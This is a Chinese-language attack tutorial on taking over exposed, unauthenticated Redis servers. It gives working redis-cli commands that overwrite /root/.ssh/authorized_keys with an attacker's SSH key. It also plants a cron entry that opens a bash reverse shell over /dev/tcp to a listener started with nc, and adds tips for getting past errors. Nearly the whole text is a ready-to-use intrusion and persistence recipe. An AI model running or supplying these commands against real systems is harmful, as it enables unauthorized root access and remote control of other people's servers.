注意:凡是可直接进入到redis的系统,都可被入侵
ssh 密钥登录:
创建密钥
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
cat auth_key | redis-cli -h 192.168.110.xxx -x set crackit
redis-cli -h 192.168.110.xxx
redis > config set dir /root/.ssh/
注意:
==========================================================================
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
(error) ERR Changing directory: Permission denied
说明redis并不是以root启动的
==========================================================================
redis >config set dbfilename "authorized_keys"
redis >save
注意:如果经REDIS入侵写入的authorized_keys,内容中会有redis信息,如下图:
登陆redis服务器
ssh -i id_rsa root@192.168.110.xxx
计划任务反弹shell:
开启监听端口
nc -l 39527
在一个新客户端,进入redis
#连接redis服务
redis-cli -h 192.168.110.xxx -p 6379
#打开一个交互bash
redis > set abc "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.110.146/39527 0>&1\n"
#设置redis的备份路径为/var/spool/cron
redis > config set dir /var/spool/cron
注意:
==========================================================================
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
(error) ERR Changing directory: Permission denied
说明redis并不是以root启动的
==========================================================================
#设置本地持久化存储数据库文件名
redis > config set dbfilename root
#保存设置,也就是将上面的配置写入磁盘文件/var/spool/cron/root
redis > save
注意:以上指令即会把/1 * /bin/bash -i >& /dev/tcp/192.168.10.xxx/39527 0>&1写入到系统的定时任务中,所以,系统会定时去执行。
在一分钟后,监听端口的客户端,即会进入到redis服务器
注意:此方法只能执行基础命令
参考资料
https://blog.csdn.net/sojrs_sec/article/details/100999908